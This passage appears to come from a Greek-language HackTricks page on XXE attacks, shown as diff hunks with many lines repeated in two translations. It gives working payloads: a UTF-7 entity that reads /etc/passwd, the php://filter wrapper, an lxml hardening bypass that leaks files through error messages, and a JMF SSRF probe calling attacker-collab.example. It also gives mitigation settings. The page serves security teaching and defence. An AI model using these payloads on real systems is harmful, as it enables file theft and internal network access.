Μπορείτε να χρησιμοποιήσετε την \[**"Συνταγή Κωδικοποίησης" του cyberchef εδώ ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) για να μετατρέψετε σε UTF-7.
Μπορείτε να χρησιμοποιήσετε την \[**"Συνταγή Κωδικοποίησης"** του cyberchef εδώ ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) για να μετατρέψετε σε UTF-7.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -422,7 +422,7 @@ Content-Type: application/xml;charset=UTF-8
```
### File:/ Protocol Bypass
Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers**`php://filter/convert.base64-encode/resource=` για να **πρόσβαση σε εσωτερικά αρχεία**.
Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers** `php://filter/convert.base64-encode/resource=` για να **πρόσβαση σε εσωτερικά αρχεία**.
Αν ο ιστότοπος χρησιμοποιεί Java, μπορείτε να ελέγξετε το [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
@ -709,13 +709,13 @@ https://github.com/luisfontes19/xxexploiter
Error : failed to load external entity "file:///aaa/FLAG{secret}"
```
> [!TIP]
> Αν ο αναλυτής παραπονιέται για τους χαρακτήρες `%`/`&` μέσα στο εσωτερικό υποσύνολο, κωδικοποιήστε τους διπλά (`&#x26;#x25;``%`) για να καθυστερήσετε την επέκταση.
> Αν ο αναλυτής παραπονιέται για χαρακτήρες `%`/`&` μέσα στο εσωτερικό υποσύνολο, κωδικοποιήστε τους διπλά (`&#x26;#x25;``%`) για να καθυστερήσετε την επέκταση.
#### 2. Παράκαμψη της σκληροποίησης lxml 5.4.0 (libxml2 ακόμα ευάλωτο)
`lxml` ≥ 5.4.0 απαγορεύει τις οντότητες παραμέτρων *error* όπως αυτή παραπάνω, αλλά **libxml2** εξακολουθεί να επιτρέπει την ενσωμάτωσή τους σε μια *γενική* οντότητα. Το κόλπο είναι να:
1. Διαβάσετε το αρχείο σε μια οντότητα παραμέτρων `%file`.
2. Δηλώσετε μια άλλη οντότητα παραμέτρων που δημιουργεί μια **γενική** οντότητα `c` της οποίας ο αναγνωριστής SYSTEM χρησιμοποιεί ένα *ανύπαρκτο πρωτόκολλο* όπως `meow://%file;`.
3. Τοποθετήστε `&c;` στο σώμα XML. Όταν ο αναλυτής προσπαθεί να αποδεσμεύσει το `meow://…` αποτυγχάνει και αντικατοπτρίζει την πλήρη URI συμπεριλαμβανομένων των περιεχομένων του αρχείου στο μήνυμα σφάλματος.
1. Διαβάσετε το αρχείο σε μια οντότητα παραμέτρου `%file`.
2. Δηλώσετε μια άλλη οντότητα παραμέτρου που δημιουργεί μια **γενική** οντότητα `c` της οποίας ο αναγνωριστής SYSTEM χρησιμοποιεί ένα *μη υπάρχον πρωτόκολλο* όπως `meow://%file;`.
3. Τοποθετήστε `&c;` στο σώμα XML. Όταν ο αναλυτής προσπαθεί να αποδεσμεύσει το `meow://…` αποτυγχάνει και αντικατοπτρίζει το πλήρες URI συμπεριλαμβανομένων των περιεχομένων του αρχείου στο μήνυμα σφάλματος.
```xml
<!DOCTYPE colors [
<!ENTITY % a '
@ -728,7 +728,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
```
#### Key takeaways
* **Οι οντότητες παραμέτρων** επεκτείνονται ακόμα από το libxml2, ακόμα και όταν το `resolve_entities` θα έπρεπε να μπλοκάρει το XXE.
* Μια **μη έγκυρη URI** ή **μη υπάρχον αρχείο** είναι αρκετά για να συγχωνεύσουν ελεγχόμενα δεδομένα στην εκτινασσόμενη εξαίρεση.
* Μια **μη έγκυρη URI** ή **μη υπάρχον αρχείο** είναι αρκετά για να συγχωνεύσουν ελεγχόμενα δεδομένα στην εξαίρεση που ρίχνεται.
* Η τεχνική λειτουργεί **χωρίς συνδεσιμότητα εξόδου**, καθιστώντας την ιδανική για περιβάλλοντα με αυστηρά φίλτρα εξόδου.
#### Mitigation guidance
@ -763,9 +763,35 @@ dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
```
Αν η εφαρμογή πρέπει να υποστηρίζει DTDs εσωτερικά, κρατήστε το `disallow-doctype-decl` απενεργοποιημένο αλλά **πάντα** αφήστε τις δύο δυνατότητες `external-*-entities` ρυθμισμένες σε `false`. Ο συνδυασμός αυτός αποτρέπει κλασικά payloads αποκάλυψης αρχείων (`file:///etc/passwd`) καθώς και δικτυακά SSRF vectors (`http://169.254.169.254/…`, πρωτόκολλο `jar:`, κ.λπ.).
Αν η εφαρμογή πρέπει να υποστηρίζει DTDs εσωτερικά, κρατήστε το `disallow-doctype-decl` απενεργοποιημένο αλλά **πάντα** αφήστε τις δύο δυνατότητες `external-*-entities` ρυθμισμένες σε `false`. Ο συνδυασμός αυτός αποτρέπει κλασικά payloads αποκάλυψης αρχείων (`file:///etc/passwd`) καθώς και δικτυακά SSRF vectors (`http://169.254.169.254/…`, `jar:` πρωτόκολλο, κ.λπ.).
Μελέτη περίπτωσης από τον πραγματικό κόσμο: **CVE-2025-27136** στον προσομοιωτή Java S3 *LocalS3* χρησιμοποίησε τον ευάλωτο κατασκευαστή που φαίνεται παραπάνω. Ένας μη αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να προμηθεύσει ένα κατεργασμένο σώμα XML στο endpoint `CreateBucketConfiguration` και να έχει τον διακομιστή να ενσωματώνει τοπικά αρχεία (για παράδειγμα `/etc/passwd`) στην HTTP απόκριση.
Μελέτη περίπτωσης από τον πραγματικό κόσμο: **CVE-2025-27136** στον Java S3 emulator *LocalS3* χρησιμοποίησε τον ευάλωτο κατασκευαστή που εμφανίζεται παραπάνω. Ένας μη αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να προμηθεύσει ένα κατεργασμένο XML σώμα στο endpoint `CreateBucketConfiguration` και να έχει τον διακομιστή να ενσωματώνει τοπικά αρχεία (για παράδειγμα `/etc/passwd`) στην HTTP απόκριση.
### XXE σε JMF/Υπηρεσίες Ορχήστρωσης Εκτύπωσης → SSRF
Ορισμένες πλατφόρμες ροής εργασίας/ορχήστρωσης εκτύπωσης εκθέτουν έναν δικτυακό ακροατή Job Messaging Format (JMF) που δέχεται XML μέσω TCP. Αν ο υποκείμενος αναλυτής δέχεται ένα `DOCTYPE` και επιλύει εξωτερικές οντότητες, μπορείτε να εκμεταλλευτείτε μια κλασική XXE για να αναγκάσετε τον διακομιστή να κάνει εξερχόμενα αιτήματα (SSRF) ή να αποκτήσει τοπικούς πόρους.
Κύρια σημεία που παρατηρήθηκαν στην πραγματικότητα:
- Δικτυακός ακροατής (π.χ., πελάτης JMF) σε μια αφιερωμένη θύρα (συνήθως 4004 στο Xerox FreeFlow Core).
- Ανάλυση XML βασισμένη σε Java μέσα σε ένα jar (π.χ., `jmfclient.jar`) χωρίς `disallow-doctype-decl` ή απενεργοποιημένη την επίλυση οντοτήτων.
- Εξωτερικές κλήσεις επιβεβαιώνουν αξιόπιστα την εκμετάλλευση.
Ελάχιστη JMF-τύπου SSRF δοκιμή (η δομή διαφέρει ανά προϊόν αλλά το DOCTYPE είναι αυτό που έχει σημασία):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
```
Σημειώσεις:
- Αντικαταστήστε το URL της οντότητας με τον συνεργάτη σας. Αν είναι δυνατή η SSRF, ο διακομιστής θα το επιλύσει κατά την ανάλυση του μηνύματος.
- Σκληρύνσεις που πρέπει να αναζητήσετε: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
- Ακόμα και όταν η θύρα JMF δεν εξυπηρετεί αρχεία, η SSRF μπορεί να αλυσοδεθεί για εσωτερική αναγνώριση ή για να φτάσει σε APIs διαχείρισης που είναι δεσμευμένα στο localhost.
Οι αναφορές για αυτό το διανυσματικό είναι καταχωρημένες στο τέλος της σελίδας.
## Αναφορές
@ -773,7 +799,7 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
- Εξαγωγή πληροφοριών μέσω HTTP χρησιμοποιώντας δικό σας εξωτερικό DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- Εξαγωγή πληροφοριών μέσω HTTP χρησιμοποιώντας το δικό σας εξωτερικό DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
@ -782,5 +808,8 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#include ../banners/hacktricks-training.md}}